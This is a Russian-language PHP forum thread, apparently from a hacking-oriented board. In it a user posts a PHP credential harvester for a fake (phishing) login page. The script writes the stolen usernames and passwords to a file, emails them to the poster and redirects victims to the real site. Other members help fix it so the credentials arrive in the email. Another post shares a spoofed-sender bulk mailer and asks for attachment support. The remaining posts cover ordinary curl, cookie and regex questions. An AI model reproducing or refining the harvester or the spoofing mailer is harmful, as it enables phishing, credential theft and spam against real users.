не вижу отличия от моей функции, то что у тебя rand используется, он же намного режи генерирует рандомное число чем mt_rand. и я (<=) забыл в своем примере.. но все равно это не то мне кажется что есть более лучшей вариант с более точным результатом....
Сделал фейк. Тестирую. И захотелось, чтобы приходило уведомление на email Нацарапал следующий скрипт(аналог со скамом из Хакера) PHP: <?php if ((isset($_POST["user"])) and (isset($_POST["password"]))) { //проверка ну существование запроса $message = $_POST["user"]; // наши переменные $message = $_POST["password"]; // наши переменные $good = 'GOOD.txt'; //название файла, в который будут записыватся данные $good = fopen($good,'a'); // открыие файла $send = $_POST['user'].':'.$_POST['password']; //создание запроса fwrite($good, $send."\n"); //запись в файл echo "<script language=JavaScript>window.location='http://сайт.нах/'</script>";}; // отсылка на настоящую страницу ?> <?php if (empty($_POST["user"]) || empty($_POST["password"])){ mail("мой майл", "info", $_POST["password"]); mail("$message", "eshat", $message); }; ?> Проблема в том, что он посылает email уведомление, но совершенно пустое. Там не фиксируются логины и пароли. Можете помочь?
ВО 1 .. я не понел строки .. $message = $_POST["user"]; // наши переменные $message = $_POST["password"]; // наши переменные зачечем ты присваеваешь переменной $_POST["user"]; а потом изменяешь её значение на $_POST["password"];(перезаписываешь) Во 2 if (empty($_POST["user"]) || empty($_POST["password"])){ отсылка уведомления идёт только когда один из них или они оба пустые ... и чего ты ждёшь в письме? В 3 echo "<script language=JavaScript>window.location='http://сайт.нах/'</script>"; ставь после отсылки уведомления ...
Перезаписываю? Я хотел задать $message суперпеременной и встроить в письмо, чтобы приходили текста типа: вася : вася Данные логина и пароля. Я не понял следующего: В каком случае тогда не приходят уведомления? Когда они не пустые? То есть их нужно задать снова?
Ershik мдяя ... слу мож ты книжку хоть почитаешь ... $message - суперпеременная ? Оо еси хочешь в таком виде такделай как сделанов перемменой $send у тебя условие идёт ... ЕСЛИ $_POST['user'] пустой ИЛИ $_POST['password'] пустой .. делаем следуйшее... а тут отправка уведомления ... делай if (!empty($_POST["user"]) && !empty($_POST["password"]))
PHP: <?php print <<<HERE <style type = "text/css"> body { font-family: Arial; } #inputone { width: 100%; } #textarea { width: 100%; height: 500px; } #infotd { font-size: 13px; width: 100px; } #infotd2 { font-size: 13px; } #bgcolor_infotd { background-color: #dbeaff; } #good_send { color: #00419a; } #sends { width: 20px; } #notice { color: red; } </style> HERE; $html_or_text = $_GET["html_or_text"]; $sends = $_GET["sendes"]; if($_GET["html_or_text"] == 1) { $htmltext = "\r\nContent-type: text/plain"; } else if ($_GET["html_or_text"] == 2) { $htmltext = "\r\nContent-type: text/html"; } else {} if($_GET["codir"] == 1) { $cod = "windows-1251"; } else if ($_GET["codir"] == 2){ iconv("windows-1251", "utf-8", $email . $them . $body . $send_full . $htmltext); $cod = "utf-8"; } else {} $mime = "$htmltext; charset = \"$cod\""; if($_GET["sender_name"] == TRUE) { $sender_full = $sender_name . " <" . $sender_mail . ">"; } else { $sender_full = $sender_mail; } if(isset($_GET["send"])) { for($i = 0; $i < $_GET["sendes"]; $i++) { mail("$email", "$them", "$body", "From: $sender_full $mime"); } print "<center><span id = \"good_send\">Сообщение отправлено</span></center>"; $fp = fopen("result.txt", "a"); $content = <<<HERE IP: $REMOTE_ADDR Agent: $HTTP_USER_AGENT Cookie: $QUERY_STRING - Отправитель (e-mail): $sender_mail Отправитель (имя): $sender_name E-mail: $email Тема: $them Текст письма - $body text/html: $html_or_text Количество писем за раз: $sends ----------------------------- HERE; fputs($fp, $content); fclose($fp); } else { print <<<HERE <form> <table border = "0" width = "100%" id = "infotd2" cellpadding = "1" cellspacing = "1"> <tr id = "bgcolor_infotd"> <td id = "infotd"> От кого (e-mail): </td> <td> <input type = "text" id = "inputone" name = "sender_mail" value = "[email protected]" /> </td> </tr> <tr id = "bgcolor_infotd"> <td id = "infotd"> От кого (Имя): </td> <td> <input type = "text" id = "inputone" name = "sender_name" value = "Билл" /> </td> </tr> <tr id = "bgcolor_infotd"> <td id = "infotd"> Кому<span id = "notice">*</span>: </td> <td> <input type = "text" id = "inputone" name = "email" value = "[email protected]" /> </td> </tr> <tr id = "bgcolor_infotd"> <td id = "infotd"> Тема письма<span id = "notice">*</span>: </td> <td> <input type = "text" id = "inputone" name = "them" value = "Hello" /> </td> </tr> <tr id = "bgcolor_infotd"> <td valign = "top" id = "infotd"> Текст письма<span id = "notice">*</span>: </td> <td> <textarea name = "body" id = "textarea">You are lol:)</textarea> </td> </tr> <tr id = "bgcolor_infotd"> <td colspan = "2"> Файл: <input type="file" name="File"> - Вы можете прикрепить файл размером не больше 2мб. </td> </tr> <tr id = "bgcolor_infotd"> <td colspan = "2"> <input type = "radio" name = "html_or_text" value = "1" checked = "checked">Только текст <input type = "radio" name = "html_or_text" value = "2">HTML и текст </td> </tr> <tr id = "bgcolor_infotd"> <td colspan = "2"> Количество писем за раз: <select name = "sendes"> <option value = "1">1</option> <option value = "2">2</option> <option value = "3">3</option> <option value = "4">4</option> <option value = "5">5</option> <option value = "6">6</option> <option value = "7">7</option> <option value = "8">8</option> <option value = "9">9</option> <option value = "10">10</option> <option value = "11">11</option> <option value = "12">12</option> <option value = "13">13</option> <option value = "14">14</option> <option value = "15">15</option> <option value = "16">16</option> <option value = "17">17</option> <option value = "18">18</option> <option value = "19">19</option> <option value = "20">20</option> </select> </td> </tr> <tr id = "bgcolor_infotd"> <td colspan = "2"> Кодировка письма: <select name = "codir"> <option value = "1">windows-1251</option> <option value = "2">utf-8</option> </select> </td> </tr> <tr> <td valign = "top" colspan = "2"> <table border = "0" width = "100%" id = "infotd2"> <td valign = "top"> Поля отмеченные знаком <span id = "notice">*</span> обязательны для заполнения </td> <td colspan = "2" align = "right"> <input type = "reset" value = "Вернуть" /> <input type = "submit" value = "Отправить" /> <input type = "hidden" name = "send" /> </td> <table> </td> </tr> </form> HERE; } ?> Парни кто сможет дописать здесь функцию отправки вложения, скрипт взял отсюда с темы Полезный скрипты сам в ПХП я неселён буду очень блогодарин за помощь.
Очень прошу, распишите основной синтаксис preg_match_all(), буквально в общих чертах, в частности я путаюсь с выходной переменной-массивом, немогу понять что где лежит(под каким индексом) Если можно пару примеров. С меня + =) спасибо
мм спасибо, еще вопрос: как получить функцией file_get_contents() искходный код страницы, для просмотра которой требуются мои cookies, которые я знаю?
[этой ф-ией так сделать нельзя .. только сокетами или курлом.] не верный ответ. читаем ответ двумя постами ниже.
примерно так: PHP: <?php function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208'); curl_setopt($ch, CURLOPT_COOKIE, "__utma=ТУТ_ТВОИ_ДАННЫЕ; __utmb=ТУТ_ТВОИ_ДАННЫЕ; __utmc=ТУТ_ТВОИ_ДАННЫЕ;__utmz=ТУТ_ТВОИ_ДАННЫЕ;"); $ss=curl_exec($ch); curl_close($ch); return $ss; } $a=get('http://mail.ru'); echo $a; ?>
PHP: $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"Accept-language: en\r\n" . "Cookie: foo=bar\r\n" ) ); $context = stream_context_create($opts); $fp = file_get_contents('http://www.example.com', false,$context);